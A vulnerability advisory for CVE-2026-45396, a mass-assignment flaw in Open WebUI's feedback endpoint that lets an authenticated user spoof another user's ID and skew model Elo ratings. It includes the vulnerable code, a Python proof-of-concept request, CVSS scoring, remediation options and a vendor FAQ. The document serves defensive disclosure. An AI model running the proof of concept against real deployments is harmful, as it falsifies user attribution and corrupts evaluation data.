CVE-2026-45396

Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation

The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.

Details

The vulnerability exists in two layers:

1. Model Layer, Insecure Dict Merge Order

File: backend/open_webui/models/feedbacks.py, lines 148–160

async def insert_new_feedback(
    self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
    async with get_async_db_context(db) as db:
        id = str(uuid.uuid4())
        feedback = FeedbackModel(
            **{
                'id': id,
                'user_id': user_id,       # ← Server-set from auth token
                'version': 0,
                **form_data.model_dump(),  # ← OVERWRITES 'id', 'user_id', 'version'
                'created_at': int(time.time()),
                'updated_at': int(time.time()),
            }
        )

In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.

2. Schema Layer, extra='allow' on Request Form

File: backend/open_webui/models/feedbacks.py, line 106

class FeedbackForm(BaseModel):
    type: str
    data: Optional[RatingData] = None
    meta: Optional[dict] = None
    snapshot: Optional[SnapshotData] = None
    model_config = ConfigDict(extra='allow')  # ← Accepts arbitrary extra fields

The extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.

Contrast with Secure Pattern

Other models in the same codebase use the correct ordering. For example, backend/open_webui/models/functions.py, line 120:

function = FunctionModel(**{
    **form_data.model_dump(),   # ← Spread FIRST
    'user_id': user_id,         # ← Server value AFTER → always wins
})

And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.

1. User Identity Spoofing

An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.

2. Model Evaluation Leaderboard Manipulation

The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:

• Artificially inflate ratings for a specific model
• Deflate ratings for competitor models
• Make organizational model evaluation decisions unreliable

3. Record ID Control

By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.

PoC

import requests

BASE_URL = "http://localhost:8080"

# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
    "email": "[email protected]",
    "password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}

# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"

resp = session.post(
    f"{BASE_URL}/api/v1/evaluations/feedback",
    headers=headers,
    json={
        "type": "rating",
        "data": {
            "model_id": "gpt-4o",
            "rating": 1,
            "sibling_model_ids": ["claude-3-opus"],
        },
        # Mass assignment: these extra fields are accepted due to extra='allow'
        # and overwrite server-set values due to dict merge order
        "user_id": VICTIM_USER_ID,  # Overwrites authenticated user ID
        "version": 999,             # Overwrites default version
    }
)

feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"

Severity

CVSS 3.1: 5.4 (Medium), CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (any authenticated user)
• User Interaction: None
• Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)

Suggested Remediation

Option 1: Fix dict merge order (minimal fix)

feedback = FeedbackModel(
    **{
        **form_data.model_dump(),   # Spread FIRST
        'id': id,                    # Server values AFTER (always win)
        'user_id': user_id,
        'version': 0,
        'created_at': int(time.time()),
        'updated_at': int(time.time()),
    }
)

Option 2: Remove extra='allow' from FeedbackForm (recommended)

class FeedbackForm(BaseModel):
    type: str
    data: Optional[RatingData] = None
    meta: Optional[dict] = None
    snapshot: Optional[SnapshotData] = None
    model_config = ConfigDict(extra='ignore')  # Reject unexpected fields

Option 3: Explicit field assignment (most secure)

feedback = FeedbackModel(
    id=str(uuid.uuid4()),
    user_id=user_id,
    version=0,
    type=form_data.type,
    data=form_data.data.model_dump() if form_data.data else {},
    meta=form_data.meta or {},
    snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
    created_at=int(time.time()),
    updated_at=int(time.time()),
)

Affected Versions

• v0.9.2 (current latest, confirmed vulnerable)
• Likely all versions since feedback/evaluation feature was introduced

References

• Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0), same root cause class, different endpoint

CVE-2026-45396 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45396? CVE-2026-45396 is a medium-severity security vulnerability in open-webui (pip), affecting versions < 0.9.5. It is fixed in 0.9.5.
2. How severe is CVE-2026-45396? CVE-2026-45396 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45396? open-webui (pip) versions < 0.9.5 is affected.
4. Is there a fix for CVE-2026-45396? Yes. CVE-2026-45396 is fixed in 0.9.5. Upgrade to this version or later.
5. Is CVE-2026-45396 exploitable, and should I be worried? Whether CVE-2026-45396 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45396 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45396? Upgrade open-webui to 0.9.5 or later.